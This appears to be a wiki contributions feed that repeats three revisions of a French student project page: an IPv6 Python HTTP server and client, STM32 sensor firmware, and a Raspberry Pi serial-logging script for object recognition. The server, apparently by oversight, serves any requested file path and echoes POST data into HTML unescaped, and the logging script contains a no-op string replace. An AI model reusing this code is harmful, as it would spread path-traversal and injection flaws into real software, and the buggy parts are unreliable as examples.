wiki-se.plil.fr - Contributions [fr]

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2024-01-20T14:21:57Z

Bnguyen1 : /* Résumé de séance */

= Résumé de séance =

=== Séance 1 : ===
* Création et configuration de la VM sur Chassiron
* Installation de NanoEdge
* Installation de STM32cube
* Installation de l'OS pour la Raspberry dans la carte micro SD
* Prise en main de Nanoedge, de nucléo et de STM32cube
* Début de réflexion sur l'application (métrologie)

=== Séance 2: ===

* Mise en place du serveur python

*Mise en place du client python
*Test réussi de communication entre client et serveur via http
*Programmation de la carte nucléo pour transfert de valeur via liaison série
*Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
*Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
*Entraînement des modèles pour les différentes applications cités précédemment
*Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires

=== Séance 3: ===
*Entraînement d'un nouveau modèle.
*Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.

=== Séance 4 : ===
*Essai d'utilisation de la librairie créée grâce à Nanoedge.
*Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.
**Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
**Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
*L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
*Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
**Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

= Programmation des interfaces du serveur =

=== Code du serveur Python : ===
<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>

=== '''Code du client Python :''' ===
<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>

=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===
<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>

=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===

= Flash du capteur sur le logiciel STM32CubeIDE =
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

= Code de récupération de donnée (sur la raspberry) =
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.

Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

# Événement pour signaler l'arrêt des threads
interruptAllEvent = Event()

# Fonction de thread pour lire les données et les sauvegarder dans des fichiers
def serial_thread(ser: serial) -> None:
# Chemin du fichier pour les données initiales du capteur
# Ces données sont vouées à ne pas être utilisées
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"

while (1):
if (interruptAllEvent.is_set()):
break

# Créer un nouveau fichier pour chaque minute avec l'horodatage actuel
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

# Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante
if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

# Lire les données du port série
string = str(ser.readline(), encoding='utf-8')

# Ouvrir le fichier de la minute actuelle et écrire les données
with open(fileName, "a") as fichier:
# S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

# Écrire les données dans le fichier
fichier.write(string)

# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)
def signal_handler(sig, frame):
interruptAllEvent.set()
return

# Fonction principale
def main() -> None:
# Créer un objet pour la communication série
ser = serial.Serial('/dev/ttyACM0', 460800)

# Créer un thread pour la communication série
thread = Thread(target=serial_thread, args=(ser,))

# Démarrer le thread de communication série
thread.start()

# Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)
signal.signal(signal.SIGINT, signal_handler)

# Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur
sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
# Vérifier si l'événement d'interruption est défini
if interruptAllEvent.is_set():
# Attendre que le thread série se termine, puis sortir de la boucle
thread.join()
break

sleep(5)

# Ajuster les valeurs de minute et d'heure pour l'heure précédente
minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1

# On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur
# soit du bon format. On protège donc tout les \n du fichier avant son envoie.
try:
# Lire et modifier le contenu du fichier de la minute précédente
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

# Créer une liste de chemins de fichiers pour les 10 dernières minutes
# Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage
file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

# Obtenir une liste de tous les fichiers dans le répertoire data
files = glob.glob(os.path.dirname(__file__) + "/data/*")

# Créer une liste de fichiers à supprimer
files_to_remove = []

# Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver
for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

# Supprimer les fichiers de la liste de suppression
for file_name in files_to_remove:
os.remove(file_name)

# Point d'entrée du script
if __name__ == '__main__':
main()

</syntaxhighlight>

= Utilisation des programmes présentés ci-dessus =
Nous avons entrainé le programme pour reconnaitre[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2024-01-20T14:07:54Z

Bnguyen1 : /* Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série. */

= Résumé de séance =
* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

=== Code du serveur Python : ===
<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>

=== '''Code du client Python :''' ===
<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>

=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===
<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>

=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===

= Flash du capteur sur le logiciel STM32CubeIDE =
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.

On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot (pour chaque lignes/quadrillage sur une ligne)<syntaxhighlight lang="c">
static void print_result_IE(RANGING_SENSOR_Result_t *Result)
{
int8_t j;
int8_t k;
int8_t l;
uint8_t zones_per_line;

zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||
(Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;

for (j = 0; j < Result->NumberOfZones; j += zones_per_line)
{
for (l = 0; l < RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)
{
/* Print distance and status */
for (k = (zones_per_line - 1); k >= 0; k--)
{
if (Result->ZoneResult[j+k].NumberOfTargets > 0)
printf("%ld ",(long)Result->ZoneResult[j+k].Distance[l]);
else
printf("%ld ", -1);
}
}
}
printf("\n");
}
</syntaxhighlight>

= Code de récupération de donnée (sur la raspberry) =
Nous avons le scénario suivant : le capteur qui envoie en continue les données de distance à la raspberry via la liaison série.

Nous avons donc écrit un script python afin de récupérer ces données, les formater dans un fichier format json dans le but de les envoyer sur la VM qui pourra traiter ces données avec l'émulateur obtenue via l'application NanoEdgeAI Studio.

Nous allons vous expliquez le script que nous avons réalisés :<syntaxhighlight lang="python3" line="1">
import serial
from threading import Thread, Event
from time import sleep
import os, sys, signal
import datetime
import glob

# Événement pour signaler l'arrêt des threads
interruptAllEvent = Event()

# Fonction de thread pour lire les données et les sauvegarder dans des fichiers
def serial_thread(ser: serial) -> None:
# Chemin du fichier pour les données initiales du capteur
# Ces données sont vouées à ne pas être utilisées
fileName_old = os.path.dirname(__file__) + "/data/sensor_data_start"

while (1):
if (interruptAllEvent.is_set()):
break

# Créer un nouveau fichier pour chaque minute avec l'horodatage actuel
fileName = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__%H_%M_00") + ".json"

# Fermer le fichier de la minute précédente en ajoutant la parenthèse fermante
if (fileName_old != fileName):
with open(fileName_old, "a") as fichier:
fichier.write("\"}")

# Lire les données du port série
string = str(ser.readline(), encoding='utf-8')

# Ouvrir le fichier de la minute actuelle et écrire les données
with open(fileName, "a") as fichier:
# S'il s'agit d'une nouvelle minute, commencer un nouvel objet JSON
if (fileName_old != fileName):
fileName_old = fileName
fichier.write("{\"date\":\""+datetime.datetime.now().strftime("%d/%m/%Y-%H:%M:00")+"\",\"csv_file\":\"")

# Écrire les données dans le fichier
fichier.write(string)

# Gestionnaire de signal pour définir l'événement d'interruption lors d'une interruption clavier (Ctrl+C)
def signal_handler(sig, frame):
interruptAllEvent.set()
return

# Fonction principale
def main() -> None:
# Créer un objet pour la communication série
ser = serial.Serial('/dev/ttyACM0', 460800)

# Créer un thread pour la communication série
thread = Thread(target=serial_thread, args=(ser,))

# Démarrer le thread de communication série
thread.start()

# Mettre en place le gestionnaire de signal pour les événements d'interruption (Ctrl+C)
signal.signal(signal.SIGINT, signal_handler)

# Attendre pendant 5 secondes et supprimer le fichier de données initial du capteur
sleep(5)
os.remove(os.path.dirname(__file__) + "/data/sensor_data_start")

while (1):
# Vérifier si l'événement d'interruption est défini
if interruptAllEvent.is_set():
# Attendre que le thread série se termine, puis sortir de la boucle
thread.join()
break

sleep(5)

# Ajuster les valeurs de minute et d'heure pour l'heure précédente
minute = datetime.datetime.now().minute - 1
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1

# On modifie tout les \n du fichier json afin que son transfert et sa réception vers le serveur
# soit du bon format. On protège donc tout les \n du fichier avant son envoie.
try:
# Lire et modifier le contenu du fichier de la minute précédente
with open(os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json", "r+") as fichier:
line = fichier.read()
str(line).replace('\n','\\\n')
fichier.write(line)
except FileNotFoundError:
sleep(60)

# Créer une liste de chemins de fichiers pour les 10 dernières minutes
# Tout les autres sont amenés à être supprimés. Dans le but de préserver de la mémoire de stockage
file_to_keep = []
for i in range(0,10):
minute = datetime.datetime.now().minute - i
hours = datetime.datetime.now().hour
if (minute < 0):
minute = minute + 60
hours = hours - 1
path_string = os.path.dirname(__file__) + "/data/sensor_data_" + datetime.datetime.now().strftime("%d_%m_%Y__") + str(hours) + "_" + str(minute) + "_00.json"
file_to_keep.append(path_string)

# Obtenir une liste de tous les fichiers dans le répertoire data
files = glob.glob(os.path.dirname(__file__) + "/data/*")

# Créer une liste de fichiers à supprimer
files_to_remove = []

# Vérifier chaque fichier et l'ajouter à la liste de suppression s'il n'est pas dans la liste des fichiers à conserver
for file_name in files:
beRemoved = True
for f_keep in file_to_keep:
if file_name == f_keep:
beRemoved = False
break
if beRemoved:
files_to_remove.append(file_name)

# Supprimer les fichiers de la liste de suppression
for file_name in files_to_remove:
os.remove(file_name)

# Point d'entrée du script
if __name__ == '__main__':
main()

</syntaxhighlight>

= Résultats renvoyés par le programme de reconnaissance =
[[Fichier:20231220 173650.jpg|gauche|vignette|Aucun objet à reconnaitre]]
[[Fichier:20231220 173812.jpg|vignette|Un stabilo à reconnaitre]]
[[Fichier:20231220 173733.jpg|centre|vignette|Une colle à reconnaitre]]

SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen

2024-01-20T14:07:04Z

Bnguyen1 :

= Résumé de séance =
* Séance 1 :
** Création et configuration de la VM sur Chassiron
** Installation de NanoEdge
** Installation de STM32cube
** Installation de l'OS pour la Raspberry dans la carte micro SD
** Prise en main de Nanoedge, de nucléo et de STM32cube
** Début de réflexion sur l'application (métrologie)
*Séance 2:
**Mise en place du serveur python
**Mise en place du client python
**Test réussi de communication entre client et serveur via http
**Programmation de la carte nucléo pour transfert de valeur via liaison série
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires
**Entraînement des modèles pour les différentes applications cités précédemment
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires
*Séance 3:
**Entraînement d'un nouveau modèle.
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.
*Séance 4 :
**Essai d'utilisation de la librairie créée grâce à Nanoedge.
**Amélioration du [[Code de récupération de donnée (sur la raspberry)|programme python]] permettant de récupérer les données du capteur.
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)

=== Code du serveur Python : ===
<syntaxhighlight lang="python3">
from http.server import HTTPServer, BaseHTTPRequestHandler

import json

import socket

# Stocker les requ tes POST re ues

post_requests = []

class CustomHTTPHandler(BaseHTTPRequestHandler):

def do_GET(self):

if self.path == '/':

self.path = '/index.html'

if self.path == '/data':

self.send_response(200)

self.send_header('Content-type', 'application/json')

self.end_headers()

self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))

return

if self.path == '/index.html':

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

# Cr er le contenu HTML avec les donn es POST

content = '<html><body><h1>Donn es POST:</h1><ul>'

for item in post_requests:

content += f'<li>{item}</li>'

content += '</ul></body></html>'

self.wfile.write(content.encode('utf-8'))

return

try:

file_to_open = open(self.path[1:]).read()

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write(bytes(file_to_open, 'utf-8'))

except FileNotFoundError:

self.send_error(404, 'File Not Found: %s' % self.path)

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length).decode('utf-8')

# Ajouter les donn es POST la liste

post_requests.append(post_data)

# Envoyer une rponse HTTP

self.send_response(200)

self.end_headers()

self.wfile.write(b"POST request processed")

class HTTPServerV6(HTTPServer):

address_family = socket.AF_INET6

if __name__ == '__main__':

server_address = ('::', 8888) # ^icoute sur toutes les interfaces IPv6, p>

httpd = HTTPServerV6(server_address, CustomHTTPHandler)

print("Serveur actif sur le port", 8888)

httpd.serve_forever()
</syntaxhighlight>

=== '''Code du client Python :''' ===
<syntaxhighlight lang="python3">
import argparse
import requests
import json

def send_json_to_server(url, json_file):
# Charger les données CSV depuis le fichier spécifié
with open(json_file, 'r') as file:
data = json.load(file)

# En-têtes spécifiant que vous envoyez du CSV
headers = {'Content-Type': 'application/json'}

# Envoie de la requête HTTP POST avec les données
response = requests.post(url, data=json.dumps(data), headers=headers)

# Vérification de la réponse
if response.status_code == 200:
print('Requête envoyée avec succès!')
else:
print(f'Erreur {response.status_code}: {response.text}')

if __name__ == "__main__":
# Configurer les arguments en ligne de commande
parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')
parser.add_argument('url', type=str, help='URL du serveur')
parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')

# Analyser les arguments
args = parser.parse_args()

# Appeler la fonction pour envoyer le JSON au serveur
send_json_to_server(args.url, args.json_file)
</syntaxhighlight>

=== '''Index permettant d'afficher le json de test que nous avons envoyé au serveur :''' ===
<syntaxhighlight lang="html">
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Page d'Accueil</title>
</head>
<body>
<h1>Bienvenue sur Mon Serveur</h1>
<h2>Données POST reçues:</h2>
<ul id="data">

</ul>
</body>
</html>

</syntaxhighlight>

=== '''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :''' ===

= Flash du capteur sur le logiciel STM32CubeIDE =
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.
[[Fichier:CaptureIndexBrenierNguyen.png|centre|Démonstration du protocole HTTP]]

Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.<syntaxhighlight lang="c" line="1">
static void MX_53L5A1_SimpleRanging_Process(void)
{
uint32_t Id;

VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &Id);
VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &Cap);

Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;
Profile.TimingBudget = TIMING_BUDGET; /* 5 ms < TimingBudget < 100 ms */
Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */
Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */
Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */

/* set the profile if different from default one */
VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &Profile);

status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);

if (status != BSP_ERROR_NONE)
{
printf("VL53L5A1_RANGING_SENSOR_Start failed\n");
while (1);
}

while (1)
{
/* polling mode */
status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &Result);

if (status == BSP_ERROR_NONE)
{
//print_result(&Result);
print_result_IE(&Result);
}

if (com_has_data())
{
handle_cmd(get_key());
}

HAL_Delay(POLLING_PERIOD);
}
}
</syntaxhighlight>Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.

